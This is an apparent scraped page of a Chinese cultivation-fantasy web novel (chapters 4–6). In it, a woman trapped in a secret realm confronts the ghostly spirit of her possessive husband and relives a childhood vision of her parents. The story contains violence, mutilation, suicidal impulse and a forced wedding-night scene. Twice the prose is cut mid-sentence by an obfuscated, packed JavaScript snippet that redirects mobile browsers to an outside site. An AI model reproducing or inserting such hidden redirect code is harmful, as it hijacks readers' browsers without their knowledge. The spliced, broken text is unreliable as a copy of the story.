沈清乐忍俊不禁般笑了起来,说:“小连你怎么呆呆的,好可爱哦,离开秘境之后你打算去哪里?要不要和师姐回九宵派?” 离开秘境…… 连音忽然想起了境灵的话。 他说会再来找她,那到时候她身边的沈清乐会死吗? 连音视线落在沈清乐的脸上,脑海闪过一些不好的片段,提醒她:“我们还在秘境里,这里很危险。” 自从和谢随走散后,连音就对他生死未卜的状态很不安,她想亲自确认一眼。可走了许久,这条长廊却还没有到尽头。 同样是长廊,先前她从房间出来的那条长廊旁边靠着房间,而现在走着的这条…… 连音转头看去,半遮半藏的园林建筑,大片的池塘风光,最远处是一座看起来很细长的阁楼,似乎有好几层。 “我之前就是想去那里看看的。”沈清乐忽然说道。 连音知道她说的是那间阁楼,它的位置很古怪,如果是来秘境里找东西,确实会很想去探索一番。 但秘境之主是陆影的话,他应该不会在里面放什么珍贵的东西,故意布置的这么特别,十有八九是陷阱。 连音正想劝说沈清乐打消这个想法,边上忽然传来一道声音。 “这么巧,我也想去那边。” 4. 第 4 章 连音立刻回过头,少年抱剑而立,似乎并没有受伤的样子。他竟然安然无恙吗? “谢少主。” 谢随朝沈清乐点头示意了一下,随后看向和她亲密站在一起的连音,“找了你好久,原来你是九宵派的人。” 他语气淡淡,漆黑的眼里藏着几分被耍了的不高兴。 连音知道他肯定误会了什么,正要解释,沈清乐就笑着道:“谢少主也觉得小连很适合九宵派吗?我正在劝她跟加入呢。” 这话也算是变相解释了她们刚认识的事情。 连音跟着说道:“我们也在找你。” 谢随知道自己误会人了,反应过来神色别扭了瞬,说道,“没事就好。” “不是要去那个阁楼吗?”谢随又道,“本来我还想一个人去会不会太危险,既然……” 连音连忙打断他:“——你不觉得那个阁楼很像陷阱吗?就跟故意喊你去的一样,你藏东西会藏这么明显吗?” 谢随说:“越危险的地方越有可能藏着神器。这是我出发前家族智道修士算出来的预言。” 预言,又是预言。 连音说:“干嘛为了别人一句预言就拼死拼活,万一不准呢?” 谢随说,“他算得很准的,请沈姑娘来秘境帮忙就是他的主意。” 其实谢家原本是要借九霄清心铃的,此法器能够克制妖邪和破除幻境的法器,对付这片秘境很有优势,但这是九霄派至宝,不外借,所以就改请沈清乐帮忙。 谢随说,“而且不止是为了神器,为了离开,我们也要进入阁楼啊,越危险的地方就越代表恶灵可能存在,别忘了只有杀死恶灵我们才可以离开。” 他们在踏入秘境的一刻,找到神器和杀死恶灵已经是同一个目标了。 连音愣了一下,发现自己似乎陷入了一种思维里,她已经习惯了被囚禁在这里,习惯了做不到。 她以为大家不去危险的地方就不会死。 可他们留在秘境里就会死。 三人穿过曲折的廊桥来到这座阁楼底下。 镂空的花窗,冰梅纹,海月贝,还未进门就先看到了秘境之主建造这间阁楼的巧思,不管是不是陷阱,但一定是用心了的。 身后两位都是女修,谢随理所当然地走在最前面,推开了这间阁楼的大门,走了进去。 宛如走进一场被惊扰的旧梦。 画卷。 映入眼帘的是数不尽的画卷,它们展开垂挂下来,被推开门的气流拂动,轻轻颤着,发出纸质沙沙的响声。 连音跟在谢随身后踏入阁楼,目光在触及眼前景象时也是微微一怔。 他到底是有多喜欢画画。 明明从前也没见他拿起过画笔,三百年的时间他是都精修画技去了吗? 连音视线扫过一扇扇景色各异的花窗。 每一扇花窗外的景象都不同,有的窗外是明艳朝霞,有的窗外是深沉夜色……窗前挂着景色时节对应的画,譬如初见的窗外是落雪庭院。 “是之前幻境里见到的那些画……” “秘境之主和他的妻子还挺的恩爱,说不好会有什么心愿呢?” 两人正说着话,鼻尖忽然闻到一股烧焦的气味,转过头发现是连音用火符点燃了画卷。她正站在装着红霞的花窗前,静静地看着火焰烧起来…… 沈清乐问:“这些画怎么了,怎么突然要烧掉?” “不烧掉留着也没什么用吧?”火光跃动在连音没什么表情的侧脸上,她转身去点燃了另一幅画,“之前不是遇到恶灵从画里跑出来袭击人的事情吗?烧掉比较保险吧?” 两人沉默了一瞬,开始帮忙烧画。 但这些似乎只是一些普通的画,直至彻底烧毁,都没有发生任何异变。 画卷烧完后,整个房间就看起来光秃秃的了。 三人登上楼梯往上走去,老旧的木板发出不堪重负的嘎吱响声。 二楼似乎没有门窗,楼梯越往上越漆黑。 谢随走在最前面,忍不住拿出了照明的烛台。 点亮的一瞬,连音便看见旁边的墙上有一幅画,画中人影正拿着把匕首,低头盯着底下走动的谢随…… 连音心一紧,立刻捏住早就握在手中的火符,“小心旁边……” 沈清乐直接召出法器九宵清心铃,刻着符文的青铜铃铛轻轻一晃,画中人影的诡异气息瞬间散去,像是一幅普通的画,安安静静地挂在那里。 火符点燃了画卷。 舔舐的火舌从画中人影身上燃起,朝着四周扩散,也许是畏惧清心铃的存在,它没有再跑出来作乱,只是频频看向谢随的身后,脸颊无声地往下掉着墨色的线条,像是哭泣。连音知道它是在看自己。 解决了这个小意外后,他们登上二楼,刚一踏入沈清乐手中的清心铃忽然响了一下,又很快消失。连音转头看去,她的身影已经不在原地了。 自从进了阁楼后,沈清乐便没像先前那样挽着她了,那样对谁都不方便。 连音:“沈师姐消失了。” 谢随神色凝重起来,“小心点,秘境之主可能来了……” 话音未落,连音便感觉有道熟悉的阴寒气息缠上了自己。 “音音……”轻声细语的呼唤。 可能是知道会看见什么,连音这一次转过身的心情平静了许多。 烛光照出少年若隐若现的身体,又是这副幽灵般的模样,他正迷恋地看着她,嘴里喃喃着她的名字。 下一瞬,连音的小腿也传来了轻微的缠绕感……不止一双手…… 房间内的恶灵们像是再也没了制约,从四面八方朝二人涌来。 可能是地板,也可能是头顶,为了躲开这些防不胜防的袭击,谢随不可能站在原地一动不动,他只能逐渐与连音分开。 连音只能将眼前的景象称为可怕的噩梦。 无数个陆影的鬼魂正在拥抱她,喊她名字,说喜欢她……她本以为自己已经能够平静接受秘境中发生任何事,但每一次,他总能用更恶心的方式刷新她的下限。 连音站在原地,呼吸逐渐加快,她身上挂着的魂体明明不应该拥有重量,身体却像是被砸进海底般,冰冷沉重。 黑暗中,有人拉住了她的手,体温与她是如出一辙的冰凉。 缠绕着她的那些魂体自这个人出现后,逐渐退散,像是遇到了什么畏惧的东西。 连音转头看去。少年的身体反常地没有被黑暗吞噬,他很明亮,身上的衣衫雪白如新,衬托得气质很无害温和。 “境灵?” “嗯,是我。” 连音刚想转头看看谢随的情况,境灵微带笑意的声音传来:“你越关心他们,他们就会死得越快哦。” 他走近,语气染上几分撒娇,“在我面前就不要那么三心二意地关心别人了。” 连音只能克制住转到一半的脑袋,重新将视线落回境灵身上。 境灵很高兴她的配合,牵着她往楼上走,“我们去安静的地方讲话,这里太吵了。” 连音只能先跟着境灵走,路上她看着眼前那些漂浮着不敢靠近的幽灵,问道,“这些是什么东西?你创造的吗?” “这些啊……是失败品。”境灵的笑容带着几分意味不明,“算是我创造的吧。” 失败品? 也对,他们只会重复那两句乏善可陈的短句,身体也不完整……他原本是想创造什么?应该也不会是什么好事。 连音没有在失败品的话题上继续追问下去,换了个问题,“你之前去干嘛了?等会还会有事吗?” 境灵回答说:“我刚才去打扫秘境了,已经打扫干净了,等会没有事情,可以一直陪着你。” 打扫秘境应该就是去解决那些谢家修士吧? 连音暗暗猜着他的话。 陆影习惯将这些事情轻描淡写带过去……可能不仔细听就很容易忽略了他去干什么了。 “你刚才为什么烧我们的画?”境灵转头看她的神情带着疑惑,“是我画得不好,你不喜欢吗?” 连音说:“有你就不喜欢。” “没有我,你就会喜欢吗?”境灵又说,“楼上没有我了。” 阁楼的顶层,门窗大开着,日光和着风从外面照进来,吹得满墙的画哗哗作响。 画像上的少女身着的彩绘衣裙,似乎因为这阵风,发丝翩飞,裙摆飘动,由静止的死物变得栩栩如生起来。 连音看着满墙翻动的画,有些出神。 境灵以为她喜欢,却在下一秒看她抽出一张符纸…… 境灵:“……” 连音往符纸中注入灵力,火焰立刻从符纸边缘开始燃烧…… 境灵走上前,伸手夺过了这张燃火的符纸。火焰在他手中静止了。 境灵作为秘境之主可以随意操控秘境中的一切,包括时间的流速。 他阻止她烧掉自己心爱的作品。 境灵望着她,漂亮的眼眸有些难过,“为什么还要烧掉?” 连音说:“你画的也讨厌,和你有关的一切都讨厌。” 讨厌他,刺痛他,反驳他,这些几乎成了本能,她没有办法温和。 连音问道:“天罚是怎么回事?” 境灵会继承原主生前的记忆,但他没有回答,只是在她面前晃了晃那张夹在指尖的符纸。 见连音看来,他无辜地眨了眨眼,“你刚才伤害了我,现在还要我回答你的问题就应该先该哄我高兴。” 连音:“……” 真是人活着什么样,境灵就怎么样。 境灵见她不动,又道:“你不想知道你那两个朋友现在怎么样了吗?我心情好就可以暂时放过他们。” 连音伸手去抢那张符,问道:“天罚是怎么回事?我为什么没死?” 境灵少年边闪躲边弯起唇角,心情很好的模样:“当然是我救了你。” “怎么救的?” “牺牲了自己咯。” 他的语气轻描淡写,连音却被恶心地冷下了神色。 她最讨厌他,他让她的生命也与他彻底有关了。 境灵见状,脸上堆积的笑也缓缓散去了,他眸中明灭的情绪像是无措,不知道自己做错了什么。 “音音,活下来不好吗?你说小的时候身体很不好,最想要活下去,最想要离开家——” 连音忍无可忍地打断他:“那我后来也说过现在很好,说过你不要缠着我!说过让你去死!你做到了吗?” 境灵看清她眼中的厌恶,微微怔了一下,无奈地说,“好吧,我没有牺牲,是我自私自利,不想让你死,喜欢你,想永远和你在一起……” 连音更生气了。他永远都这样,风轻云淡地承认自己的错误,假装记得她的每句话,但是他从来不会听进去,不会理解,更谈何尊重? “可是我不想!”连音揪住境灵的衣领,近乎声嘶力竭地吼道,“你根本不喜欢我,你只是喜欢你自己!你连我死了都肯不放过我,还要折磨我,我……” 连音话说不下去了,她手松开,崩溃地跪坐在地上哭了起来。 她特别特别难过,她甚至不知道自己做错了什么,哪里得罪了陆影,要被他以喜欢之名害得家破人亡……就连死了也无法安宁。 她知道自己现在一定像个疯子,可她以前不是这的。在他没有出现的地方,她还是可以像个情绪稳定的正常人一样的。 冰凉的手指触上她的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834873|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊,一向擅长诡辩的人这次却无话可说,只是垂眸,无声擦着她的眼泪。 吃醋是错,占有是错,付出也是错。 好像他做什么都只会让她更难过。 “音音。” 连音缓缓抬起头,泪眼朦胧中映出陆影的脸,所有的恨意忽然找到源头,她的手指扣住少年苍白的脖颈。 陆影没有挣扎,顺着她用力的方向倒下了下去,她压在他的身上,双手掐着他的脖子,眼泪也砸在他的脸上。 他躺在地上,静静注视着她,像是在看一头穷途末路的困兽,绝望的恨意在她单薄的身体里横冲直撞,但却毫无出路。 她这样发泄不了,甚至无法对他造成什么伤害。所以他为她献上匕首。 视野里出现这把匕首时,连音的心忽然微微颤了起来,疼得厉害。她接过匕首,没有丝毫犹豫地将它钉入少年的心口。 匕首刺入的周围,白色衣服一点点被血色浸染,浓稠艳丽,让连音想起了大婚…… 那时,疼爱她的父母已经陨落,她也因为被诬陷是灾星命格不得不叛出仙门。 而策划这一切的,是她即将完婚的道侣。 那时的她也是这样,怀着满腔绝望的恨意,找不到出口。 陆影给她递剑,她就毫不犹豫地将剑锋刺入爱人的心口,切开他的皮肉,细小的血流小溪般蜿蜒而下…… 血腥味在空气中蔓延。 陆影静静注视着她,漂亮的眼睛里装满了怜悯,仿佛他是什么仁慈的神。 他在可怜她的愚蠢,心疼她的无能…… 他在施舍她。 于是,她挖下恶魔漂亮的眼睛,划烂他蛊惑人心的脸,砍断他杀戮的手,剜出他恶毒的心…… 她恨他。 但回过神,看到满手的鲜血和支离破碎的尸块时,连音感受到的是更绝望的悲伤,她彻底一无所有了。 早该哭干的泪腺再次流出泪水,连音捂着脸崩溃大哭起来,她杀死了世上最后与自己关系密切的人。 忽然,她余光扫到掉落一旁的剑。 对了!只要她也死了!这样大家就又团聚了! 就在连音伸手去够那把剑时,有人抱住了她,将她抱到怀中。 “音音。” 连音怔怔回过头,再次看见那张完美无瑕的脸,干净得甚至没有沾染一点血污,而她几乎全身都被鲜血染红,像一个绝望的祭品一样呆呆望着他。 “……陆影?” 她又被邪神愚弄了一次。 陆影用干净的手指擦去她脸颊的血污,用温柔至极的口吻哄她:“今天已经很晚了,我们先洞房好不好?你要是不高兴,我可以下次再陪你玩……” 连音要疯了,“为什么你还活着?” 陆影漂亮的眼睛闪过一丝诧异,“仙门的人连这个都没有告诉你吗?也对,他们只想利用你……” 他回头就把他们都杀了。 陆影忽然高兴起来,耐心地说,“音音,我是天魔,神魂不灭,死多少次都没关系的,但是受伤了还是会疼的。” 他嘴角微微弯起来,“音音,我们先洞房吧,这样我们就是道侣了,名字就永远不会被人分开了……” 少年俯身亲吻自己的新娘,无视她的挣扎与反抗,解开自己一针一线绣好的嫁衣,与她洞房。 …… 连音回过神,看着眼前这片刺目的血,缓缓将拔出匕首,伤口处顿时鲜血如注。 连音扔掉了匕首。 她讨厌大婚当晚的自己。 那样像魔,像疯子,像陆影……唯独不像她自己。 但连音真的不知道怎么办了。 陆影总能轻易地挑起她的情绪,好的,坏的,让她随时变成一个情绪失控的疯子。 连音不喜欢刻薄的话,不喜欢争吵,不喜欢声嘶力竭地讲话……但她发现语言可以刺痛到陆影,于是她就逼着自己说那些诛心的话。 她本身并不是这样一个人,但这是她唯一反抗的武器。 陆影可以随意的欺负她,欺骗她,占有她,甚至剥夺她生死的权利。 而她却无法终结这一切。 连音没有任何的权利。 再次认知到这个悲伤到令人绝望的事实,连音眼眶中的泪大颗大颗滚落,单薄的肩膀哭到轻轻颤抖。 “陆影……”连音不知道自己要说什么,只是一味地喊着他的名字,“陆影……” 少年望着她的眸光明明碎碎,像是也在难过,他忽然揽住她的腰,压着她倒向自己。 淡淡的血腥气扑面而来,他吻住她的唇,一改先前温顺无害的态度,无视她的反抗将她压倒在地,亲吻她。 铁锈般黏腻咸腥的气息迅速侵占感官,糅杂着泪水,带着化不开的苦涩。 连音不禁回忆起先前幻境中那个吻,像是玩闹般的青涩,事后回忆起来都会脸红,两者完全不一样,但在后来这样苦涩的吻却成了常态。 她过去总害怕陆影会杀掉自己,虽然其他的预感也都成真的差不多了,但唯独这条,连音猜错了。但这似乎更加令她感到折磨。 新认识的人都会被他杀死,会成为他的人质,他总能找到办法胁迫她……加剧她的痛苦。 这样的生活明明已经结束了,为什么还要她再醒过来。 正当连音感到绝望时,忽然有一缕光照了进来。 “如果我永远消失在你面前,你可以相信我真的爱你,不再讨厌我,可以听进去我的话……” “我可以放你离开。” 她的第一反应是,谎言。 他又在欺骗她! 境灵说,“他已经死了,他的心愿不是和你永远在一起,而是……” 5. 第 5 章 在听清陆影的心愿时,连音不可置信地怔住了。 他已经欺骗过她太多次了。 他总是出尔反尔。 连音眨了眨眼睛,视线清晰了一些,“那你现在就消失,放我离开。” 境灵叹道:“别这么着急。音音,离开有什么意思呢?你真的喜欢外面的生活吗?一个人会很孤独的,你很容易被骗……你出去做什么呢?” 连音不说话了,果然又是骗她的。 境灵无奈地笑起来:“不要一副我骗了你的样子看着我,如果你能给我一个清楚的答案,我就放你离开,但我毕竟也是他的一部分,也会因为想和你在一起劝说你留下来。” 他手指轻轻擦着她脸颊的泪,眼神有些心疼,“外面有数不清的坏人……谢家在找神器,我这里可没有神器,可他们不会信的,他们只会怀疑有人提前取走了神器。” “谢家人在这里死干净了,你却出去了?还是谢家人没死,但他们也没有找到东西……音音,你出去了要怎么应对这件事呢?这不是你身上没有就可以解决的。” 连音知道他举例的事情都有可能发生。 “你没有告诉别人我们的关系,你也知道这是个不能说的秘密。如果被他们知道我们是道侣,他们可不会像我这样温柔地对待你……” “他们会严刑拷打,搜魂,用尽一切手段逼问你我的一切事情,神器的下落……可是这些事你都不知道啊,他们只会觉得是还没搜到,人就是这么贪心盲目的……” “音音,和我待在一起才是你最好的选择。”他嗓音动听,宛如催眠般,重复道,“只有和我待在一起你才可以什么都不用考虑……” 是啊,和他待在一起确实什么都不用考虑。 连音注视着他的眼睛,问,“你觉得我出去后该做什么呢?” 境灵愣了一下,没想到她会把问题再丢给自己。 连音说:“我只有离开你的理由。我不想和你再待在一起了,我们待一起的时间够久了,我已经厌倦了这样一成不变的生活,每天和你重复同样的事情,同样的对话……我讨厌你,和你说话也觉得痛苦……我总是钻牛角尖的将一切错都推给你,开始在你身边逐渐失去了自我……” 她最终成为仇恨他的机器。 好像只有在执行仇恨他的程序时,她才是正确的。 她不能喜欢他,不能忘记横亘在他们中间的仇怨,不能原谅他操纵自己的人生…… 她不敢认识新的人,不敢交朋友,不敢和别人过于亲近,投入情感。大家都会被他杀死。 连音有些疲惫了,“我不知道离开你之后要做什么,但是我觉得我必须要离开你了。” 他们已经很久没有好好谈过话了。 “我不能给你答案。”境灵垂眸说,“回到过去休息一下吧,也许在那里有你想要的答案。” “回到过去……”连音喃喃着这四个字,眼前逐渐陷入一片柔和的光亮中。 “嗯,对,记住……不可以穿帮哦。” 光亮褪去。 她的面前出现了一本……天机策? 连音低头看着《天机策》的内容,每一个字都誊抄的工整漂亮又清晰,但连在一起却看不懂。 “怎么不动?”头顶传来淡淡的询问声,“是有哪里没懂吗?” 连音抬起头,对上了一双清冷漂亮的眼睛,早就被光阴长河模糊的一张脸忽然出现在她面前,比记忆里更清晰。 连音霎时间红了眼框:“娘……” 连冬意微愣,不明白女儿怎么突然哭了,难道她刚才的语气很严厉吗?还是因为她说以后少和陆影玩? 她悄悄传音给了楚暄,哄女儿的事情一直都是父亲楚暄在做的。 虽然女儿平时挺乖的,也不怎么需要哄,但难得哭一次更需要重视了。 正在炼器的楚暄听到平时很乖巧的女儿突然哭了的消息也立刻赶回来了。 然而不管怎么询问原因,女儿都是摇头不答。 一家三口大眼瞪小眼地坐了一会儿,连音止住了眼泪,不知道该怎么解释哭的原因。 境灵说不可以穿帮,意思是说出不属于这个时期的话,这些都会消失吗? 连冬意刚才算了一下,推测出来的结果是女儿心事重重非常疲惫,需要休息。 她示意一旁的楚暄快做点什么。 楚暄走上前将女儿抱了起来,“哈哈,今天是不是学得太累了?爹送你回去休息,学不会没关系,我们可以下次再学!” 连音顺势点了点头,心想明天一切应该都能正常了。 回去的路上,楚暄同她说话。 “刚才你娘说少和陆影玩的意思是希望你能够有自己的判断,不要什么事情都被那坏小子带着跑。同样你也不用什么事情都听你娘的,这话我也就偷偷跟你说,别让你娘知道,总之,最重要是我们音音要有自己的判断,要不要听,要做什么……” 连音被送回房间。 她躺在床上闭眼睁眼好几次,时间却并没有像幻境那样赶场地进到下一幕。 连音脑海开始浮现一些以前的事情。 她最开始是和连冬意学了三年的智道,她没有这方面的天赋,但大家都觉得她应该继承娘的衣钵,于是她艰难又艰苦地坚持了三年,最后实在学不会提出了放弃。 她本来以为娘会失望生气,但娘只是淡淡让爹再带她去挑个喜欢的道入门修行。 楚暄是炼道大师,他自然热情地给她推荐了炼道。连音无法拒绝一个太热情的人,尤其这个人还是一直对自己很好的爹。 于是她又在不感兴趣的炼道上蹉跎了大半年…… 窗户边忽然传来几声持续的响动。 连音正打算去看看,才起身,就见窗户一下子被人从外面推开,一个小小的身影翻了进来,落地的同时带上了窗。 涌入的凉风掠起连音的发丝,她回过神,走上前,“陆影,你以后不要再来找我了。” 在男孩怔住的神情中,连音推着他的肩膀将他往门口推去。 陆影被推着走了两步,回过头问:“为什么?” 当然是讨厌你,看见你就烦。 连音说:“我娘不让我和你玩。” 男孩抿了抿唇,望着她不说话,大眼睛扑闪扑闪的像一只受了委屈的小狗狗,仿佛在说,你怎么可以这样就不和我玩了呢? 连音现在铁石心肠得可怕,见推不动便改用拉的,“好了,你快走——别让我娘再看见我们在一起了——” 陆影说,“可是你不是很期待今晚的夜市吗?我提前准备了好多天……” “不期待了——”连音将是人生拉硬拽地送到了门口,推开门,却发现门外站着两道人影。 “就说结界怎么时不时有漏洞,原来是你小子在捣鬼,”楚暄先给了陆影脑袋一拳,将他揪了出来,“还敢爬女孩子房间,一点礼貌都没有!看我今天不揍死你!” 楚暄装模作样地揍了陆影一阵后,见母女二人都沉默地盯着自己,也假装不下去了,讪讪笑道:“其实我和你娘刚刚在门外是想着带你去夜市玩的,正好都要去夜市,那就一起去吧!” 幻境是境灵根据过往捏造的,这也侧面证明了陆影其实是知道楚暄很喜欢他的。 真不知道他最后是怎么做到恩将仇报的。 看到楚暄还在关心陆影最近怎么样,连音只想说,没心眼爹赶紧离白眼狼陆影远点吧! 她正要走上前将两人分开,头顶传来连冬意的声音。 “刚才是因为说让你以后少和他……” “不是!”连音立刻解释道,“是我自己不想和他玩了的!” 明明之前还那么喜欢一起玩,小孩子怎么会变这么快?肯定是因为她的话。 连冬意只当女儿不愿意和自己说实话,她们的关系比起楚暄确实疏远许多,她面上没什么表情,淡淡说道:“你以后想和谁玩都可以,不用听我意见。” 走在前边的楚暄:“……” 夫人,虽然你想收回之前那句话,但这样说出来感觉真的很怪。 楚暄正打算转回去打圆场,却看见连音正伸手牵住了连冬意的手,她说,“没有谁,我想永远和爹娘一起玩。” 楚暄有些诧异女儿突然这么会说话了,随后又在听见夫人的话时陷入短暂沉默。 连冬意皱眉说:“不行,你怎么能永远和我们一起?等你再大点我就会送你去前山的……” “诶!”楚暄出声打断了二人,“前面在卖东西呢,音音快去逛逛吧!出门了就该先玩个尽兴,有什么话可以回家说!” 连音被半推着来到摊位前,回过头,父母并肩站在灯下望着她,橘暖色的灯光将他们的眉眼照得分外美好。 人潮如织,来来往往的身影在他们中间穿行,像是一道无形的横隔线。 连冬意只是望着她,楚暄似是见她不动,笑着挥了挥手,这是在让她快去玩的意思,却又像是告别。 好遥远……明明才分开就觉得好遥远…… 也许是真实的里世界他们都已经不在了吧。 连音不想逛街,逛街对现在的她来说一点意思都没有,她想要跑回去,手却被拉住。 “大人也有自己的话要说的,不要一直黏着父母了,音音,我们去玩吧。” 连音下意识想要挣开他的的手,听见他又说,“你现在跑回去的话,幻境就会结束哦。” 连音安静了下来,回头看着陆影,或者说……境灵? “是我。”境灵像是知道她要问什么。 两人走在琳琅满目的摊位前,连音却并没有心思去看摊位上的东西,而是问道,“为什么跑回去幻境就会结束?你不是让我休息吗?为什么你一直出现?” 境灵摆出一副既伤心又无辜的表情,“可是在你的童年里,我本来就是一直出现的啊。” 连音微怔了一下。 “你好像已经忘记了。”境灵说,“在真实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834874|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界里你的父母每天都很忙,他们并不能每天陪着你,几乎没有机会这样陪你出来……每天陪着你的人是我。” 他们关系很亲密。 她甚至会和他倾诉自己那短暂的前世,这个世界上,她只告诉过他。 连音不想和他延续关于真实世界的话题,说道:“我想要一直待在幻境里。” “沉溺幻境,人之常情。”境灵毫不意外地点了点头,笑道,“但这是不可以的哦,这个幻境今晚就会结束。” 连音很失落:“……” 那和马上结束有什么区别? 境灵说:“先逛街吧,我待会就走了,你回去还能和他们说一会儿话。” 先逛街?这是威胁吗? 连音目光落在那一个个摊位上,随手拿起一串晶石手链端详了片刻,说:“我要买这个。” 境灵付了钱。 像是完成任务般,连音每走几步就会停下来看一会儿,买一样东西。 境灵一直跟在后面付钱,直至时间结束。 “他们就在后面,过去吧。” 连音回过身,楚暄已经走近,他笑着摸了摸连音的头发:“买了这么多东西啊,看来是玩得很开心了!” 连音抱着一堆东西,有些心虚地点了点头。 楚暄转头说:“我和你娘也玩得很开心。” 连音顺着他的目光看去,连冬意的脸上也微微有了几分放松的笑意,但见两人视线看来又马上消失不见。 连冬意似想起什么,对她说:“宗门还有事情要处理,我要先回去,待会让你爹送你回去。” “非要现在回去吗?”连音很不舍,拉住她,“事情不能再等等吗?” 这是她第一次挽留母亲。 在真实的童年里,她甚至是有点害怕母亲,会在她离开后偷偷松一口气的。 连冬意愣了一下,像是也有些犹豫,但最终还是离开了。 楚暄安慰她说:“你娘亲很忙的,并不是不爱你,她听说你想出去玩今天特地抽了一天空陪你,但是她不怎么会表达,音音多体谅她一点。” 连音说,“嗯,我一直知道她是爱我的。” 楚暄将女儿抱起来,在回去的路上,和她聊起开始的话题。 “为什么要永远和爹娘待在一起?是觉得爹娘陪你的时间太少了吗?” “不是。”连音顿了一下,说,“就是不想认识新的人,觉得会认识不好的人,会惹来麻烦。” 父母还在时,宗门里的每个人都好像是她朋友,大家都很喜欢她。 父母不在后,她被污蔑是灾星,大家却又变了一副嘴脸,说从前就看她很讨厌。 连音认识过很多人,可现在脑海里一下子能够说得上名字,熟悉的人,还是只有父母和陆影。 她好像停留在童年没有出发过。 好像认识了那么多人,说过那么多话,全是白费时间。 “你啊,就是太胆小了。”楚暄失笑道,“你生下来就是我们的孩子,就认识我们,但对我和你娘来说,我们并不是一开始就认识你的,你是我们新认识的人。” “你娘决定要生你的时候可是下了很大一个决心的,你生来就是她最亲近的人,她很担心你会不喜欢她,她会伤心,她不擅长处理一段关系,但她最后还是决定生下了你。” “要是你娘当时害怕的话,我们也不会认识音音了。”楚暄拍了拍女儿的后背,说,“认识新的人就像炼器,总有失败的风险,但多试几次肯定能找到对的材料。虽然爹不希望你受伤,但是如果我们哪天突然不在了呢?” 这个问题根本不用假设。 连音沉默了瞬,眼眶有些滚烫:“……去找你们。” 但是她好没用,好蠢,被陆影骗得团团转转。 直到现在她都不知道父母是怎么死的,不知道他们在哪里陨落。她没有找到他们。 楚暄道:“那可不行,在这个世界上人要是不见了多半是没好消息的,到时候要是让我们看见你过来,可是会生气,不理你的。” 连音悄悄抹了把泪,说:“不是下去找你们,是你们突然不见了,我肯定要去找你们的。” “这倒也是,要是我们哪天真的突然不告而别了,你娘肯定很放下不你,会一直牵挂你,落下执念等你,到时候你如果要去找她,一定要过得好,别让她再担心你了,要对她主动点……” 连音问:“如果时间过去了很久呢?三百年后,还会等我吗?” “时间久不怕,但到时候你一定要过得好,如果地方太危险也不要去了……” “还有啊……” 在父亲的声音里,灯火如昼的街道逐渐模糊,变成了远处的星星点点。 女孩低下头,将脸埋入父亲的肩膀,轻声应道:“嗯。” 如一阵风,一只虫的呢喃,渐渐远去。 连音睁开了眼。 满墙被风拂动的画卷在耳边沙沙作响,她仍在秘境当中。 6. 第 6 章 她的眼周湿润一片,有人为她擦过泪,并没有流淌到发上。 连音转过头,视线朦朦胧胧看见少年正低着头,他掌心握着一把乌黑的发,像是等得无聊了在编辫子玩,编得很松散。 连音说:“我要离开这里。” 境灵没有说话,只是变出一个金叶镂空的小发饰,将它卡在辫子的末端,试着将它调整到合适的位置。 连音心绪微沉,理智告诉她境灵很可能会反悔,他只是骗她,但幻境里发生的一切让她忍不住心存期待…… 他赋予了幻境角色自我的灵魂,自己却只是配角……创造一片这么真实的幻境对他的消耗也很大吧? 修士死后执念所化的境灵并不是永生不死的,它的存在就像瓶子里的水,用一滴便少一滴。 也许境灵真的会放她离开呢? 连音没办法不心存幻想。 在短暂的沉默后,连音又说:“我要去找我父母的陨落之地。” 境灵终于放开她的头发,看着她坐起身,说:“我不希望你见到他们。” 空气瞬时安静了下来。 境灵说:“不过既然是答应你的事情,我还是会完成的,但在这之前我们是不是应该先考虑怎么处理你那两个朋友?以及,怎么解决外面的谢家?” 连音刚要回答,境灵又补充,“这次不可以作弊了。” 连音:“……” 她刚才确实想再把问题丢回去,听听他会怎么做的。 出去后确实要考虑很多问题,她不能再像从前无所谓生死地活着了…… “出去后就没有我了,音音。”境灵看着少女陷入思考,忽然难过地说,“你真的不可以留在这里吗?留在这里我可以为你解决一切的,你什么都不用想……” 连音问道:“你现在还能还能再控制别人,篡改别人的认知吗?” 境灵:“……” 他的情绪没有被理会,她的眼里只有离开。 境灵眼神幽怨地看着她一会儿,还是乖乖回答了问题。 连音自知她太可疑了,要想安全离开,只能联合境灵采取一些不道德的手段。 火焰沿着符纸染起,点燃了阁楼。 连音没有再看,她直接离开了这里。 境灵独自站在燃火的阁楼顶层,看着成千上万的火舌舔舐过绘卷少女色彩鲜艳的裙摆,她们仿佛被烫到般,脸上出现了不同程度的恐惧、哭泣…… 他的身体开始慢慢消散。 虽然清楚自己不会被选择的事情,但真正被放弃时,看到她毫不犹豫摧毁这些过去时,他还是会感到难过。 他将意志埋藏在珍贵的过往中,少女永远不会变作丑陋的恶鬼,不会沾染鲜血,可也不会爱他。 幻象投映出少女的身影。 …… 时间紧迫。 连音先找到重伤昏迷的谢随,又在对抗恶灵的途中遇到沈清乐——他们一起往外跑。 逃离火海的楼梯很漫长。 每往下跑一级,身后的楼梯便会断裂一节,蔓延的火势像只如影随形追赶的怪物,炙热的气浪贴在后背,督促他们快跑,一直跑…… 阁楼一点点崩塌,带火的木板从上空坠落,然后是一幅幅未燃尽的画卷…… 它们很轻盈的漂浮在空中,舒展开来。 